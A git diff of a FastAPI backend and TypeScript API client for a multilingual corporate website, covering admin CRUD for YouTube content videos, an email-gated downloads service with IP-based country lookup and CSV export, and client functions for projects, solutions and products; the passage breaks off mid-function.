|
||||
|
||||
# ============ Admin Endpoints ============
|
||||
|
||||
@router.get("/admin/list", response_model=List[ContentVideoResponse])
|
||||
def admin_list_videos(
|
||||
entity_type: Optional[str] = None,
|
||||
entity_id: Optional[int] = None,
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""List all videos (admin)"""
|
||||
query = db.query(ContentVideo)
|
||||
|
||||
if entity_type:
|
||||
query = query.filter(ContentVideo.entity_type == entity_type)
|
||||
if entity_id:
|
||||
query = query.filter(ContentVideo.entity_id == entity_id)
|
||||
|
||||
videos = query.order_by(
|
||||
ContentVideo.entity_type,
|
||||
ContentVideo.entity_id,
|
||||
ContentVideo.display_order
|
||||
).all()
|
||||
|
||||
return [
|
||||
ContentVideoResponse(
|
||||
id=v.id,
|
||||
youtube_id=v.youtube_id,
|
||||
title_ko=v.title_ko,
|
||||
title_en=v.title_en,
|
||||
title_ja=v.title_ja,
|
||||
title_zh=v.title_zh,
|
||||
description_ko=v.description_ko,
|
||||
description_en=v.description_en,
|
||||
description_ja=v.description_ja,
|
||||
description_zh=v.description_zh,
|
||||
entity_type=v.entity_type,
|
||||
entity_id=v.entity_id,
|
||||
display_order=v.display_order,
|
||||
is_active=v.is_active,
|
||||
created_at=v.created_at,
|
||||
updated_at=v.updated_at,
|
||||
youtube_url=f"https://www.youtube.com/watch?v={v.youtube_id}",
|
||||
youtube_embed_url=f"https://www.youtube.com/embed/{v.youtube_id}",
|
||||
thumbnail_url=f"https://img.youtube.com/vi/{v.youtube_id}/maxresdefault.jpg",
|
||||
)
|
||||
for v in videos
|
||||
]
|
||||
|
||||
|
||||
@router.get("/admin/{video_id}", response_model=ContentVideoResponse)
|
||||
def admin_get_video(
|
||||
video_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Get a specific video (admin)"""
|
||||
video = db.query(ContentVideo).filter(ContentVideo.id == video_id).first()
|
||||
if not video:
|
||||
raise HTTPException(status_code=404, detail="Video not found")
|
||||
|
||||
return ContentVideoResponse(
|
||||
id=video.id,
|
||||
youtube_id=video.youtube_id,
|
||||
title_ko=video.title_ko,
|
||||
title_en=video.title_en,
|
||||
title_ja=video.title_ja,
|
||||
title_zh=video.title_zh,
|
||||
description_ko=video.description_ko,
|
||||
description_en=video.description_en,
|
||||
description_ja=video.description_ja,
|
||||
description_zh=video.description_zh,
|
||||
entity_type=video.entity_type,
|
||||
entity_id=video.entity_id,
|
||||
display_order=video.display_order,
|
||||
is_active=video.is_active,
|
||||
created_at=video.created_at,
|
||||
updated_at=video.updated_at,
|
||||
youtube_url=f"https://www.youtube.com/watch?v={video.youtube_id}",
|
||||
youtube_embed_url=f"https://www.youtube.com/embed/{video.youtube_id}",
|
||||
thumbnail_url=f"https://img.youtube.com/vi/{video.youtube_id}/maxresdefault.jpg",
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin", response_model=ContentVideoResponse)
|
||||
def admin_create_video(
|
||||
data: ContentVideoCreate,
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Create a new video (admin)"""
|
||||
video = ContentVideo(
|
||||
youtube_id=data.youtube_id,
|
||||
title_ko=data.title_ko,
|
||||
title_en=data.title_en,
|
||||
title_ja=data.title_ja,
|
||||
title_zh=data.title_zh,
|
||||
description_ko=data.description_ko,
|
||||
description_en=data.description_en,
|
||||
description_ja=data.description_ja,
|
||||
description_zh=data.description_zh,
|
||||
entity_type=data.entity_type,
|
||||
entity_id=data.entity_id,
|
||||
display_order=data.display_order,
|
||||
is_active=data.is_active,
|
||||
)
|
||||
db.add(video)
|
||||
db.commit()
|
||||
db.refresh(video)
|
||||
|
||||
return ContentVideoResponse(
|
||||
id=video.id,
|
||||
youtube_id=video.youtube_id,
|
||||
title_ko=video.title_ko,
|
||||
title_en=video.title_en,
|
||||
title_ja=video.title_ja,
|
||||
title_zh=video.title_zh,
|
||||
description_ko=video.description_ko,
|
||||
description_en=video.description_en,
|
||||
description_ja=video.description_ja,
|
||||
description_zh=video.description_zh,
|
||||
entity_type=video.entity_type,
|
||||
entity_id=video.entity_id,
|
||||
display_order=video.display_order,
|
||||
is_active=video.is_active,
|
||||
created_at=video.created_at,
|
||||
updated_at=video.updated_at,
|
||||
youtube_url=f"https://www.youtube.com/watch?v={video.youtube_id}",
|
||||
youtube_embed_url=f"https://www.youtube.com/embed/{video.youtube_id}",
|
||||
thumbnail_url=f"https://img.youtube.com/vi/{video.youtube_id}/maxresdefault.jpg",
|
||||
)
|
||||
|
||||
|
||||
@router.put("/admin/{video_id}", response_model=ContentVideoResponse)
|
||||
def admin_update_video(
|
||||
video_id: int,
|
||||
data: ContentVideoUpdate,
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Update a video (admin)"""
|
||||
video = db.query(ContentVideo).filter(ContentVideo.id == video_id).first()
|
||||
if not video:
|
||||
raise HTTPException(status_code=404, detail="Video not found")
|
||||
|
||||
update_data = data.model_dump(exclude_unset=True)
|
||||
for field, value in update_data.items():
|
||||
setattr(video, field, value)
|
||||
|
||||
db.commit()
|
||||
db.refresh(video)
|
||||
|
||||
return ContentVideoResponse(
|
||||
id=video.id,
|
||||
youtube_id=video.youtube_id,
|
||||
title_ko=video.title_ko,
|
||||
title_en=video.title_en,
|
||||
title_ja=video.title_ja,
|
||||
title_zh=video.title_zh,
|
||||
description_ko=video.description_ko,
|
||||
description_en=video.description_en,
|
||||
description_ja=video.description_ja,
|
||||
description_zh=video.description_zh,
|
||||
entity_type=video.entity_type,
|
||||
entity_id=video.entity_id,
|
||||
display_order=video.display_order,
|
||||
is_active=video.is_active,
|
||||
created_at=video.created_at,
|
||||
updated_at=video.updated_at,
|
||||
youtube_url=f"https://www.youtube.com/watch?v={video.youtube_id}",
|
||||
youtube_embed_url=f"https://www.youtube.com/embed/{video.youtube_id}",
|
||||
thumbnail_url=f"https://img.youtube.com/vi/{video.youtube_id}/maxresdefault.jpg",
|
||||
)
|
||||
|
||||
|
||||
@router.delete("/admin/{video_id}")
|
||||
def admin_delete_video(
|
||||
video_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Delete a video (admin)"""
|
||||
video = db.query(ContentVideo).filter(ContentVideo.id == video_id).first()
|
||||
if not video:
|
||||
raise HTTPException(status_code=404, detail="Video not found")
|
||||
|
||||
db.delete(video)
|
||||
db.commit()
|
||||
return {"message": "Video deleted successfully"}
|
||||
|
||||
|
||||
@router.put("/admin/reorder")
|
||||
def admin_reorder_videos(
|
||||
entity_type: str,
|
||||
entity_id: int,
|
||||
video_ids: List[int],
|
||||
db: Session = Depends(get_db),
|
||||
_: str = Depends(get_current_admin)
|
||||
):
|
||||
"""Reorder videos for an entity (admin)"""
|
||||
for index, video_id in enumerate(video_ids):
|
||||
video = db.query(ContentVideo).filter(
|
||||
ContentVideo.id == video_id,
|
||||
ContentVideo.entity_type == entity_type,
|
||||
ContentVideo.entity_id == entity_id
|
||||
).first()
|
||||
if video:
|
||||
video.display_order = index
|
||||
|
||||
db.commit()
|
||||
return {"message": "Videos reordered successfully"}
|
||||
322
temp_downloads_api.py
Normal file
322
temp_downloads_api.py
Normal file
@@ -0,0 +1,322 @@
|
||||
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Query, Request
|
||||
from fastapi.responses import StreamingResponse
|
||||
from sqlalchemy.orm import Session
|
||||
from sqlalchemy import desc
|
||||
from typing import List, Optional
|
||||
import uuid
|
||||
import os
|
||||
import csv
|
||||
import io
|
||||
from datetime import datetime
|
||||
|
||||
from ..database import get_db
|
||||
from ..models.download import Download, DownloadRequest
|
||||
from ..schemas.download import (
|
||||
DownloadResponse, DownloadRequestCreate, DownloadRequestResponse,
|
||||
DownloadAdminCreate, DownloadAdminUpdate, DownloadAdminResponse,
|
||||
DownloadRequestAdminResponse
|
||||
)
|
||||
from ..core.security import get_current_admin
|
||||
from ..core.config import settings
|
||||
|
||||
router = APIRouter(prefix="/downloads", tags=["downloads"])
|
||||
|
||||
UPLOAD_DIR = os.path.join(settings.UPLOAD_DIR, "downloads")
|
||||
os.makedirs(UPLOAD_DIR, exist_ok=True)
|
||||
|
||||
ALLOWED_EXTENSIONS = {".exe", ".zip", ".msi", ".dmg", ".pkg", ".tar", ".gz", ".rar", ".7z", ".pdf"}
|
||||
ALLOWED_IMAGE_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp"}
|
||||
|
||||
|
||||
def get_localized_field(obj, field: str, lang: str) -> Optional[str]:
|
||||
localized = getattr(obj, f"{field}_{lang}", None)
|
||||
if localized:
|
||||
return localized
|
||||
return getattr(obj, f"{field}_ko", None)
|
||||
|
||||
|
||||
# Public Endpoints
|
||||
|
||||
@router.get("/", response_model=List[DownloadResponse])
|
||||
def get_downloads(lang: str = "ko", db: Session = Depends(get_db)):
|
||||
downloads = db.query(Download).filter(
|
||||
Download.is_active == True
|
||||
).order_by(Download.display_order).all()
|
||||
|
||||
result = []
|
||||
for d in downloads:
|
||||
result.append(DownloadResponse(
|
||||
id=d.id,
|
||||
title=get_localized_field(d, "title", lang) or "",
|
||||
description=get_localized_field(d, "description", lang),
|
||||
category=get_localized_field(d, "category", lang),
|
||||
file_name=d.file_name,
|
||||
file_size=d.file_size,
|
||||
version=d.version,
|
||||
thumbnail=d.thumbnail,
|
||||
download_count=d.download_count or 0
|
||||
))
|
||||
return result
|
||||
|
||||
|
||||
@router.get("/{download_id}", response_model=DownloadResponse)
|
||||
def get_download(download_id: int, lang: str = "ko", db: Session = Depends(get_db)):
|
||||
d = db.query(Download).filter(
|
||||
Download.id == download_id,
|
||||
Download.is_active == True
|
||||
).first()
|
||||
|
||||
if not d:
|
||||
raise HTTPException(status_code=404, detail="Download not found")
|
||||
|
||||
return DownloadResponse(
|
||||
id=d.id,
|
||||
title=get_localized_field(d, "title", lang) or "",
|
||||
description=get_localized_field(d, "description", lang),
|
||||
category=get_localized_field(d, "category", lang),
|
||||
file_name=d.file_name,
|
||||
file_size=d.file_size,
|
||||
version=d.version,
|
||||
thumbnail=d.thumbnail,
|
||||
download_count=d.download_count or 0
|
||||
)
|
||||
|
||||
|
||||
@router.post("/{download_id}/request", response_model=DownloadRequestResponse)
|
||||
async def request_download(
|
||||
download_id: int,
|
||||
request_data: DownloadRequestCreate,
|
||||
request: Request,
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
download = db.query(Download).filter(
|
||||
Download.id == download_id,
|
||||
Download.is_active == True
|
||||
).first()
|
||||
|
||||
if not download:
|
||||
raise HTTPException(status_code=404, detail="Download not found")
|
||||
|
||||
if not request_data.newsletter_agreed:
|
||||
raise HTTPException(status_code=400, detail="Newsletter consent is required")
|
||||
|
||||
client_ip = request.headers.get("X-Forwarded-For", request.client.host)
|
||||
if client_ip and "," in client_ip:
|
||||
client_ip = client_ip.split(",")[0].strip()
|
||||
|
||||
country = None
|
||||
country_code = None
|
||||
try:
|
||||
import httpx
|
||||
async with httpx.AsyncClient(timeout=2.0) as client:
|
||||
resp = await client.get(f"http://ip-api.com/json/{client_ip}?fields=country,countryCode")
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
country = data.get("country")
|
||||
country_code = data.get("countryCode")
|
||||
except:
|
||||
pass
|
||||
|
||||
download_request = DownloadRequest(
|
||||
download_id=download_id,
|
||||
email=request_data.email,
|
||||
newsletter_agreed=request_data.newsletter_agreed,
|
||||
ip_address=client_ip,
|
||||
country=country,
|
||||
country_code=country_code
|
||||
)
|
||||
db.add(download_request)
|
||||
download.download_count = (download.download_count or 0) + 1
|
||||
db.commit()
|
||||
|
||||
return DownloadRequestResponse(
|
||||
download_url=download.file_url,
|
||||
file_name=download.file_name or "download"
|
||||
)
|
||||
|
||||
|
||||
# Admin Endpoints
|
||||
|
||||
@router.get("/admin/list", response_model=List[DownloadAdminResponse])
|
||||
def admin_get_downloads(
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
downloads = db.query(Download).order_by(Download.display_order).all()
|
||||
return downloads
|
||||
|
||||
|
||||
@router.get("/admin/{download_id}", response_model=DownloadAdminResponse)
|
||||
def admin_get_download(
|
||||
download_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
download = db.query(Download).filter(Download.id == download_id).first()
|
||||
if not download:
|
||||
raise HTTPException(status_code=404, detail="Download not found")
|
||||
return download
|
||||
|
||||
|
||||
@router.post("/admin", response_model=DownloadAdminResponse)
|
||||
def admin_create_download(
|
||||
download_data: DownloadAdminCreate,
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
download = Download(**download_data.model_dump())
|
||||
db.add(download)
|
||||
db.commit()
|
||||
db.refresh(download)
|
||||
return download
|
||||
|
||||
|
||||
@router.put("/admin/{download_id}", response_model=DownloadAdminResponse)
|
||||
def admin_update_download(
|
||||
download_id: int,
|
||||
download_data: DownloadAdminUpdate,
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
download = db.query(Download).filter(Download.id == download_id).first()
|
||||
if not download:
|
||||
raise HTTPException(status_code=404, detail="Download not found")
|
||||
|
||||
update_data = download_data.model_dump(exclude_unset=True)
|
||||
for key, value in update_data.items():
|
||||
setattr(download, key, value)
|
||||
|
||||
db.commit()
|
||||
db.refresh(download)
|
||||
return download
|
||||
|
||||
|
||||
@router.delete("/admin/{download_id}")
|
||||
def admin_delete_download(
|
||||
download_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
download = db.query(Download).filter(Download.id == download_id).first()
|
||||
if not download:
|
||||
raise HTTPException(status_code=404, detail="Download not found")
|
||||
|
||||
db.delete(download)
|
||||
db.commit()
|
||||
return {"message": "Download deleted successfully"}
|
||||
|
||||
|
||||
@router.post("/admin/upload")
|
||||
async def admin_upload_file(
|
||||
file: UploadFile = File(...),
|
||||
file_type: str = Query("file", description="file or thumbnail"),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
ext = os.path.splitext(file.filename)[1].lower()
|
||||
|
||||
if file_type == "thumbnail":
|
||||
if ext not in ALLOWED_IMAGE_EXTENSIONS:
|
||||
raise HTTPException(status_code=400, detail=f"Allowed image formats: {ALLOWED_IMAGE_EXTENSIONS}")
|
||||
else:
|
||||
if ext not in ALLOWED_EXTENSIONS and ext not in ALLOWED_IMAGE_EXTENSIONS:
|
||||
raise HTTPException(status_code=400, detail=f"Allowed formats: {ALLOWED_EXTENSIONS}")
|
||||
|
||||
unique_name = f"{uuid.uuid4()}{ext}"
|
||||
file_path = os.path.join(UPLOAD_DIR, unique_name)
|
||||
|
||||
content = await file.read()
|
||||
with open(file_path, "wb") as f:
|
||||
f.write(content)
|
||||
|
||||
file_size = len(content)
|
||||
file_url = f"uploads/downloads/{unique_name}"
|
||||
|
||||
return {
|
||||
"file_url": file_url,
|
||||
"file_name": file.filename,
|
||||
"file_size": file_size
|
||||
}
|
||||
|
||||
|
||||
# Admin: Download Requests (Email List)
|
||||
|
||||
@router.get("/admin/requests", response_model=List[DownloadRequestAdminResponse])
|
||||
def admin_get_requests(
|
||||
newsletter_only: bool = False,
|
||||
limit: int = 100,
|
||||
offset: int = 0,
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
query = db.query(DownloadRequest).join(Download)
|
||||
|
||||
if newsletter_only:
|
||||
query = query.filter(DownloadRequest.newsletter_agreed == True)
|
||||
|
||||
requests = query.order_by(desc(DownloadRequest.requested_at)).offset(offset).limit(limit).all()
|
||||
|
||||
result = []
|
||||
for r in requests:
|
||||
result.append(DownloadRequestAdminResponse(
|
||||
id=r.id,
|
||||
download_id=r.download_id,
|
||||
download_title=r.download.title_ko if r.download else None,
|
||||
email=r.email,
|
||||
newsletter_agreed=r.newsletter_agreed,
|
||||
ip_address=r.ip_address,
|
||||
country=r.country,
|
||||
country_code=r.country_code,
|
||||
requested_at=r.requested_at
|
||||
))
|
||||
return result
|
||||
|
||||
|
||||
@router.get("/admin/requests/export")
|
||||
def admin_export_requests(
|
||||
newsletter_only: bool = True,
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
query = db.query(DownloadRequest).join(Download)
|
||||
|
||||
if newsletter_only:
|
||||
query = query.filter(DownloadRequest.newsletter_agreed == True)
|
||||
|
||||
requests = query.order_by(desc(DownloadRequest.requested_at)).all()
|
||||
|
||||
output = io.StringIO()
|
||||
writer = csv.writer(output)
|
||||
writer.writerow(["Email", "Download", "Newsletter", "Country", "Date"])
|
||||
|
||||
for r in requests:
|
||||
writer.writerow([
|
||||
r.email,
|
||||
r.download.title_ko if r.download else "",
|
||||
"Yes" if r.newsletter_agreed else "No",
|
||||
r.country or "",
|
||||
r.requested_at.strftime("%Y-%m-%d %H:%M") if r.requested_at else ""
|
||||
])
|
||||
|
||||
output.seek(0)
|
||||
|
||||
return StreamingResponse(
|
||||
io.BytesIO(output.getvalue().encode("utf-8-sig")),
|
||||
media_type="text/csv",
|
||||
headers={"Content-Disposition": f"attachment; filename=download_requests_{datetime.now().strftime('%Y%m%d')}.csv"}
|
||||
)
|
||||
|
||||
|
||||
@router.get("/admin/requests/stats")
|
||||
def admin_get_request_stats(
|
||||
db: Session = Depends(get_db),
|
||||
admin = Depends(get_current_admin)
|
||||
):
|
||||
total = db.query(DownloadRequest).count()
|
||||
newsletter = db.query(DownloadRequest).filter(DownloadRequest.newsletter_agreed == True).count()
|
||||
unique_emails = db.query(DownloadRequest.email).distinct().count()
|
||||
|
||||
return {
|
||||
"total_requests": total,
|
||||
"newsletter_subscribers": newsletter,
|
||||
"unique_emails": unique_emails
|
||||
}
|
||||
997
temp_full_api.ts
Normal file
997
temp_full_api.ts
Normal file
@@ -0,0 +1,997 @@
|
||||
const API_BASE_URL = process.env.NEXT_PUBLIC_API_URL || "http://localhost:8001/api";
|
||||
|
||||
interface FetchOptions extends RequestInit {
|
||||
token?: string;
|
||||
}
|
||||
|
||||
async function fetchApi<T>(endpoint: string, options: FetchOptions = {}): Promise<T> {
|
||||
const { token, ...fetchOptions } = options;
|
||||
|
||||
const headers: HeadersInit = {
|
||||
"Content-Type": "application/json",
|
||||
...options.headers,
|
||||
};
|
||||
|
||||
if (token) {
|
||||
(headers as Record<string, string>)["Authorization"] = `Bearer ${token}`;
|
||||
}
|
||||
|
||||
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
|
||||
...fetchOptions,
|
||||
headers,
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Unknown error" }));
|
||||
const errorMessage = typeof error.detail === 'string'
|
||||
? error.detail
|
||||
: JSON.stringify(error.detail) || `HTTP error! status: ${response.status}`;
|
||||
throw new Error(errorMessage);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
}
|
||||
|
||||
// Auth API
|
||||
export const authApi = {
|
||||
login: (username: string, password: string) =>
|
||||
fetchApi<{ access_token: string; token_type: string }>("/auth/login", {
|
||||
method: "POST",
|
||||
body: JSON.stringify({ username, password }),
|
||||
}),
|
||||
|
||||
getMe: (token: string) =>
|
||||
fetchApi<{ id: number; username: string }>("/auth/me", { token }),
|
||||
};
|
||||
|
||||
// Projects API (Public)
|
||||
export interface Project {
|
||||
id: number;
|
||||
title: string;
|
||||
subtitle?: string;
|
||||
description?: string;
|
||||
client?: string;
|
||||
period?: string;
|
||||
year?: number;
|
||||
category?: string;
|
||||
main_image?: string;
|
||||
is_featured: boolean;
|
||||
images: { id: number; image_url: string; caption?: string }[];
|
||||
}
|
||||
|
||||
export interface ProjectAdmin {
|
||||
id: number;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
subtitle_ko?: string;
|
||||
subtitle_en?: string;
|
||||
subtitle_ja?: string;
|
||||
subtitle_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
client?: string;
|
||||
period?: string;
|
||||
year?: number;
|
||||
category?: string;
|
||||
main_image?: string;
|
||||
is_featured: boolean;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
|
||||
}
|
||||
|
||||
export const projectsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko", category?: string) => {
|
||||
const params = new URLSearchParams({ lang });
|
||||
if (category) params.append("category", category);
|
||||
return fetchApi<Project[]>(`/projects/?${params}`);
|
||||
},
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Project>(`/projects/${id}?lang=${lang}`),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<ProjectAdmin[]>("/projects/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<ProjectAdmin>, token: string) =>
|
||||
fetchApi<ProjectAdmin>("/projects/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<ProjectAdmin>, token: string) =>
|
||||
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/projects/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (projectId: number, file: File, isMain: boolean, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/projects/admin/${projectId}/upload-image?is_main=${isMain}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
Authorization: `Bearer ${token}`,
|
||||
},
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminDeleteImage: (imageId: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/projects/admin/images/${imageId}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Get upload URL
|
||||
export function getUploadUrl(path: string): string {
|
||||
if (!path) return "";
|
||||
if (path.startsWith("http")) return path;
|
||||
const baseUrl = process.env.NEXT_PUBLIC_API_URL?.replace(/\/api$/, "") || "http://localhost:8001";
|
||||
// Handle API endpoints (e.g., /api/downloads/1/file)
|
||||
if (path.startsWith("/api/")) {
|
||||
return `${baseUrl}${path}`;
|
||||
}
|
||||
// Remove leading slash from path to avoid double slashes
|
||||
const cleanPath = path.startsWith("/") ? path.slice(1) : path;
|
||||
return `${baseUrl}/${cleanPath}`;
|
||||
}
|
||||
|
||||
// Banner API
|
||||
export interface Banner {
|
||||
id: number;
|
||||
title?: string;
|
||||
subtitle?: string;
|
||||
image_url: string;
|
||||
link_url?: string;
|
||||
}
|
||||
|
||||
export interface BannerAdmin {
|
||||
id: number;
|
||||
title_ko?: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
subtitle_ko?: string;
|
||||
subtitle_en?: string;
|
||||
subtitle_ja?: string;
|
||||
subtitle_zh?: string;
|
||||
image_url: string;
|
||||
link_url?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
}
|
||||
|
||||
export interface BannerSettings {
|
||||
id: number;
|
||||
transition_type: "fade" | "slide";
|
||||
slide_interval: number;
|
||||
}
|
||||
|
||||
// Solution API
|
||||
export interface Solution {
|
||||
id: number;
|
||||
title: string;
|
||||
subtitle?: string;
|
||||
description?: string;
|
||||
features: string[];
|
||||
icon?: string;
|
||||
color?: string;
|
||||
main_image?: string;
|
||||
images: { id: number; image_url: string; caption?: string }[];
|
||||
}
|
||||
|
||||
export interface SolutionAdmin {
|
||||
id: number;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
subtitle_ko?: string;
|
||||
subtitle_en?: string;
|
||||
subtitle_ja?: string;
|
||||
subtitle_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
features_ko?: string;
|
||||
features_en?: string;
|
||||
features_ja?: string;
|
||||
features_zh?: string;
|
||||
icon?: string;
|
||||
color?: string;
|
||||
main_image?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
|
||||
}
|
||||
|
||||
export const solutionsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Solution[]>(`/solutions/?lang=${lang}`),
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Solution>(`/solutions/${id}?lang=${lang}`),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<SolutionAdmin[]>("/solutions/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<SolutionAdmin>, token: string) =>
|
||||
fetchApi<SolutionAdmin>("/solutions/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<SolutionAdmin>, token: string) =>
|
||||
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/solutions/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (solutionId: number, file: File, isMain: boolean, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/solutions/admin/${solutionId}/upload-image?is_main=${isMain}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminDeleteImage: (imageId: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/solutions/admin/images/${imageId}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Product API
|
||||
export interface Product {
|
||||
id: number;
|
||||
name: string;
|
||||
category?: string;
|
||||
description?: string;
|
||||
detail?: string;
|
||||
specifications?: string;
|
||||
icon?: string;
|
||||
main_image?: string;
|
||||
images: { id: number; image_url: string; caption?: string }[];
|
||||
}
|
||||
|
||||
export interface ProductAdmin {
|
||||
id: number;
|
||||
name_ko: string;
|
||||
name_en?: string;
|
||||
name_ja?: string;
|
||||
name_zh?: string;
|
||||
category_ko?: string;
|
||||
category_en?: string;
|
||||
category_ja?: string;
|
||||
category_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
detail_ko?: string;
|
||||
detail_en?: string;
|
||||
detail_ja?: string;
|
||||
detail_zh?: string;
|
||||
specifications?: string;
|
||||
icon?: string;
|
||||
main_image?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
|
||||
}
|
||||
|
||||
export const productsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Product[]>(`/products/?lang=${lang}`),
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Product>(`/products/${id}?lang=${lang}`),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<ProductAdmin[]>("/products/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<ProductAdmin>(`/products/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<ProductAdmin>, token: string) =>
|
||||
fetchApi<ProductAdmin>("/products/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<ProductAdmin>, token: string) =>
|
||||
fetchApi<ProductAdmin>(`/products/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/products/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (productId: number, file: File, isMain: boolean, token: string) => {
|
||||
const formData = new FormData();
|
||||
